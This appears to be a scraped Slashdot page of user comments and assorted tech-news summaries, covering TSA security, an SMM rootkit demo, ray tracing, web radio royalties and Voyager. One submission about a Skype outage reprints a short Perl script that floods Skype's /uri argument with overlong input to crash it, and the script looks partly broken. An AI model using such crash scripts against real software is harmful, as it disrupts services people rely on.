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Comment Re:Why so negative. (Score 1) 266

by Shipwack (#27284119) Attached to: US Nuclear Sub Crashes Into US Navy Amphibious Vessel

You should see what goes down in the radio room. Ba-dum-ding. Submarine jokes: there's a million of 'em :).

You should see who goes down in the radio room. Ba-dum-ding. Submarine jokes: there's a million of 'em :). --

There, fixed that for ya... ;)

Shipwack, another ex-bubblehead who really wishes he could read the accident/incident report on this one...

Comment Re:Whiny bastards (Score 1) 186

by Shipwack (#27277897) Attached to: Holy Hand Grenade of Antioch Provokes Bomb Scare
Not to mention that they don't prohibit lighter or matches on airplanes, which he was using to attempt to "detonate" the shoe bomb.

Why are matches allowed, but a can of soda is a security threat? Because the cigarette industry whined that the 2 minutes that a person couldn't smoke upon leaving a plane was costing them money, so an item that actually was used in an attempted terrorist attack is effectively unrestricted.

Comment Re:Whiny bastards (Score 2, Insightful) 186

by Shipwack (#27277885) Attached to: Holy Hand Grenade of Antioch Provokes Bomb Scare
Having been in the military, and actually involved in real security duty, I can assure you that almost all of the TSA restrictions are theatrics to show they are "doing something", and counter-productive at worst, including the liquid restrictions. Small volumes of liquids can't cause catastrophic damage, outside of a movie or TV show. While there are liquid explosives, they are neither easily obtainable, or easily made outside a laboratory. But... let's say this magic substance existed, and that it was only the fact that you can't bring more than a quarter ounce of liquids on board that keep a terrorist from manufacturing them in flight. The TSA regulations are -still- stupid because nothing prevents several people from bring a quarter ounce each and combining them. Or one person bringing a quarter ounce in a shampoo bottle, a quarter ounce of "medicine", a quarter ounce of "toothpaste", etc...
Security

Hiding a Rootkit In System Management Mode 119

Posted by kdawson from the can-you-see-me-now dept.
Sniper223 notes a PC World article on a new kind of rootkit recently developed by researchers, which will be demoed at Black Hat in August. The rootkit runs in System Management Mode, a longtime feature of x86 architecture that allows for code to run in a locked part of memory. It is said to be harder to detect, potentially, than VM-based rootkits. The article notes that the technique is unlikely to lead to widespread expoitation: "Being divorced from the operating system makes the SMM rootkit stealthy, but it also means that hackers have to write this driver code expressly for the system they are attacking."

Neal Stephenson Returns with "Anathem" 248

Posted by ScuttleMonkey from the hoping-for-a-hit-not-a-miss dept.
Lev Grossman writes to tell us that Neal Stephenson, author of greats like Snow Crash and Cryptonomicon, has another novel due for release in September. The catalogue copy gives us a small glimpse at what may be in store: "Since childhood, Raz has lived behind the walls of a 3,400-year-old monastery, a sanctuary for scientists, philosophers, and mathematicians--sealed off from the illiterate, irrational, unpredictable 'saecular' world that is plagued by recurring cycles of booms and busts, world wars and climate change. Until the day that a higher power, driven by fear, decides that only these cloistered scholars have the abilities to avert an impending catastrophe. And, one by one, Raz and his cohorts are summoned forth without warning into the Unknown."

Ray Tracing To Debut in DirectX 11 219

Posted by CmdrTaco from the directx-11-is-confusing-to-my-brain dept.
crazyeyes writes "This is breaking news. Microsoft has not only decided to support ray tracing in DirectX 11, but they will also be basing it on Intel's x86 ray-tracing technology and get this ... it will be out by the end of the year! In this article, we will examine what ray tracing is all about and why it would be superior to the current raster-based technology. As for performance, well, let Intel dazzle you with some numbers. Here's a quote from the article: 'You need not worry about your old raster-based DirectX 10 or older games or graphics cards. DirectX 11 will continue to support rasterization. It just includes support for ray-tracing as well. There will be two DirectX 11 modes, based on support by the application and the hardware.'"
Music

Submission + - Doom and Gloom for web radio (dailytech.com)

Submitted by
An anonymous reader writes: DailyTech posted interviews with the founder of Pandora and management from Proton Radio (and Proton Music) asking them what SoundExchange's latest rulings mean to them. A lot of net radio stations are dreading the upcoming changes in royalty rates, which are said to be around 400%... a number that would bankrupt most of the industry. An interesting read for anyone who uses online radio...
Censorship

Submission + - Wordpress.org blocked in Turkey (webgeekworld.com) 2

Submitted by
unity100
unity100 writes: "Wordpress.org domain has been blocked by monopoly infrastructure backbone provider Turkish Telekom in Turkey. Turkish internet users are not able to reach anything with wordpress.org domain extension due to DNS filtering. The move is due to a recent court order, in which a controversial religious sect leader, Adnan Oktar have sued wordpress.org for many blogs, containing criticizm about him. Since wordpress.org did not respond, Turkish courts have taken the 'Turkish' way and totally blocked wordpress.org domain instead of blocking the blogs in question one by one. Read more in below links :

http://wordpress.com/blog/2007/08/19/why-were-bloc ked-in-turkey/
http://cyber.law.harvard.edu/home/home?wid=10&func =viewSubmission&sid=2883"
The Internet

Submission + - VirtualEarth Exposes Nuke Sub's Stealth Propeller (nwsource.com)

Submitted by
NewsCloud
NewsCloud writes: "The Seattle Times reports that a local blogger Dan Twohig highlighted photos on Microsoft Virtual Earth of stealth nuclear submarine propeller technology (alternate) taken by aircraft while the submarine was in dry dock in nearby Bangor. Says Twhohig,

You can also use the zoom in and out keys and move around the Bangor Sub Base taking a close up look at the bunkers and magazines where they keep the nuclear weapons. You would think the US government would keep better tabs on this stuff.
Microsoft said it would blur the image if requested (but not this one). This is the same nuclear base the Navy has been petitioning to use trained dolphins and sea lions to patrol."
Privacy

Submission + - Anonymous Craigslist Post Leads to Arrest (missoulanews.com)

Submitted by
An anonymous reader writes: Criminal defamation charges have been brought against a Craigslist poster for his 2006 comments on a police arrest in Missoula, Montana. After witnessing an arrest, Brad Zimmerman anonymously posted his version of the evening's events on the Montana Craigslist "rants and raves" message board. In a report filed by Kalispell Police Detective Jim Wardensky, he writes, "In an effort to preempt any civil discord due to these postings," he called Craigslist and asked them to take down the post.

According to the report, Craig Newmark, owner of Craigslist, returned Wardensky's call the same day, said he would remove the post, and added, according to Wardensky, "If we supplied him with a subpoena, he could tell me the Internet Provider's address and e-mail account for where the original posting came from."

KPD served the subpoena and Craigslist passed on information that led the police to a service provider, CenturyTel, which company the police also subpoenaed. CenturyTel then provided Zimmerman's name, address and social security number.
Space

Voyager Spacecraft Celebrate 30th Anniversary 222

Posted by ScuttleMonkey from the grandpa's-space-probe-still-tellin-stories dept.
Raver32 writes to mention that 30 years after the original launch of Voyager 2, both Voyager spacecraft are still going strong. Flying away from us some billions of miles from our solar system's edge they continue to be a wealth of information more than 25 years after their original mission concluded. Voyager 1 currently is the farthest human-made object at a distance from the sun of about 9.7 billion miles (15.6 billion kilometers). Voyager 2 is about 7.8 billion miles (12.6 billion kilometers).
Hardware Hacking

Submission + - Obituary for Joy Bubbles

Submitted by Elfich47
Elfich47 writes: Joy Bubbles recently passed away due to a heart attack. So who is Joy Bubbles and what does he mean to you?

He was one of the original phone phreaks who used the phone network as his own playground. Known as 'the whistler' he would unlock the phone network's tone system through whistling (and being able to whistle 2600Hz on command).

He also helped out the phone networks, did scent research and placed calls to terminally ill patients who needed someone to talk to.

An all around good guy.
Microsoft

Submission + - Microsoft specs legal creation of Machinima

Submitted by Moe Napoli
Moe Napoli writes: Just learned over at the Thinking Machinima blog, that Microsoft has released "content usage rules" that allow the end user to create machinima with a certain set of their titles, including the Halo franchise and ShadowRun (but also Age of Empires!). This is a fairly large step into the allowance of user-generated content, but the rules are extremely limiting — the terms keep people from creating anything that extends the property's universe. Question is, isn't that the reason people make machinima in the first place?
Sony

Submission + - The CD is 25 years old

Submitted by Shinatosh
Shinatosh writes: Here is another anniversary date: the CD is a quarter century old. As the The Inquirer writes:
"As with many inventions, we were sold a pup with the CD. The old buffers' guide was that these shiny circles would last for ever and always sound crystal clear."
It may have not been the perfect storage device, but served us well. Happy birthday!
Communications

Submission + - Skype network got DoSed.

Submitted by
Ruptor
Ruptor writes: "Yesterday Skype network went down under a distributed DoS attack. It remains down for more than 24 hours now. Skype authorities misleadingly but politically correctly claim that it is a "software issue" denying even a possibility of a hacking attack, but in fact it is due to a simple exploit that got published on Russian hacking and security sites and blogged on www.siberian.ws. See for yourself.

#!/usr/bin/perl
# Simle Code by Maranax Porex ;D
# Ya Skaypeg!!
for ($i=256; $i>xCCCCC; $i=$i+256)
{
$eot='AAAA' x $i;
call_sp();
}
exit;

sub call_sp()
{
$str="\"C:\\Program Files\\Skype\\Phone\\Skype.exe\" \"/uri:$eot\"";
system("$str");
}
"

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